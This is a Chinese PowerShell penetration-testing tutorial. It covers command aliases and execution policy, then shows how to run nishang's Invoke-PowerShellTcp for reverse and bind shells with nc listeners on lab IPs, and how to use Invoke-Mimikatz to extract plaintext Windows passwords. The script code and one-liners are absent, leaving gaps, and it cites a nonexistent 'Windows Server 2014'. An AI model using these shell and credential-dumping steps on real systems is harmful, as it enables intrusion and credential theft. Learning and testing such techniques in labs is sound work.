0x00 引言
经过基础篇的学习我们已经对powershell有了一个基本的了解,接下来我们先补充一点基础知识然后就尝试去分析nishang中的优秀代码学会如何去使用脚本最后实战 。预告一下,第三篇高级篇带你使用powershell遨游内网。
0x01 补充知识
a 命令格式
<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ -< Optional Parameter Name > <Optional Parameter Value >]
[ -< Optional Switch Parameters >]
[ -< Optional Parameter Name >] <Required Parameter Value >
b 等价别名
许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。
Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get-location gl, pwd
get-member gm
remove-item ri, rm, rmdir, del, erase, rd
write-output write, echo
c 执行策略问题
Powershell脚本执行策略是默认不允许执行任何脚本,如果我们没有修改过执行策略而直接运行可能出现以下问题。
解决办法
首先查看脚本执行策略设置情况,可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted 即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令:set-executionpolicy remotesigned 回车之后即可执行脚本。
0x02 分析TCP交互式PowerShell脚本
该脚本取之于nishang这个框架,Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址:https://github.com/samratashok/nishang。
先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:
a 注释部分
注释部分描述了脚本的概要、用途、脚本的事例、参考链接等信息。
b Param运行参数部分
DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式.可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse,但是$IPAddress和$Port必须进行设置。最后根据输入的内容匹配类型获取最终值。
c 主函数部分
0x03 脚本使用
a 导入命令模式
导入命令模式就是先导入ps1文件到powershell然后可以直接在命令行运行函数。
Import-Module '.\Invoke-PowerShellTcp .ps1'
反向连接
第一步 :在攻击机上使用nc监听本地端口4444(先监听后连接,不然会出错。)
第二步:靶机运行连接命令
Invoke-PowerShellTcp -Reverse -IPAddress 攻击机ip -Port 攻击机监听的端口
第三步: 成功连接,获取shell
正向连接
第一步: 靶机开启监听
Invoke-PowerShellTcp -bind -port 4444
第二步: 攻击机nc连接靶机
nc -nv 192.168.17.132 4444
第三步:成功连接,获取到shell
b 非导入命令模式
该模式不需要进行导入powershell,直接运行脚本。
正向连接
第一步: 在ps1文件中加入执行监听命令
Invoke-PowerShellTcp -bind
第二步: 运行ps1文件,设置监听端口,开启监听
.\Invoke-PowerShellTcp.ps1
第三步: 攻击机nc连接靶机,获取shell
反向连接
第一步:攻击机监听端口
nc -lvp 8888
第二步: 在ps1文件中加入执行连接命令
Invoke-PowerShellTcp -reverse 192.168.17.134 8888
第三步: 获取shell
0x04 Mimikatz结合Powershell 获取目标主机账号密码
实战过程中在获取低权限用户之后我们为了扩展战果我们就不得不提权,在没有0day的基础上最简单的提权方式就是直接获取目标主机的管理员账号密码。说起获取密码就不得不提提Mimikatz 这款工具了。mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
我这里讲的是Powershell结合Mimikatz的使用。实验环境为腾讯云的一台服务器window server 2008。
a 本地网络环境运行
第一步: 下载Invoke-Mimikatz.ps1
Invoke-Mimikatz.ps1下载地址
第二步:直接一句话运行
第三步:成功获取明文密码
b 在线网络环境运行
第一步:直接执行命令
在 Windows 2008 及以上操作系统中执命令
注意点:靶机必须可以正常访问raw.githubusercontent.com 网络,因为需要连接下载ps1文件。 Windows Server 2014以上版本仅能获取到NTLM值,无法正常获取明文密码。
第二步: 成功获取明文密码
0x05 总结
本文重点学会分析脚本,懂得分析别人写的,然后自己写一个类似的脚本都是几分钟的事情。分析是为了去模仿好的,让自己少走弯路,超越是我们要做的。紧接着我们讲到了脚本的使用然后举了一个实战例子获取明文密码。希望大家能学会去使用powershell,然后重视它,掌握它。
觉得不错,可以“一键三连”,或者转发、留言
公众号:程序员二黑,获取软件测试资源(面试题,PDF文档,视频教程)
精彩的内容要和朋友分享哦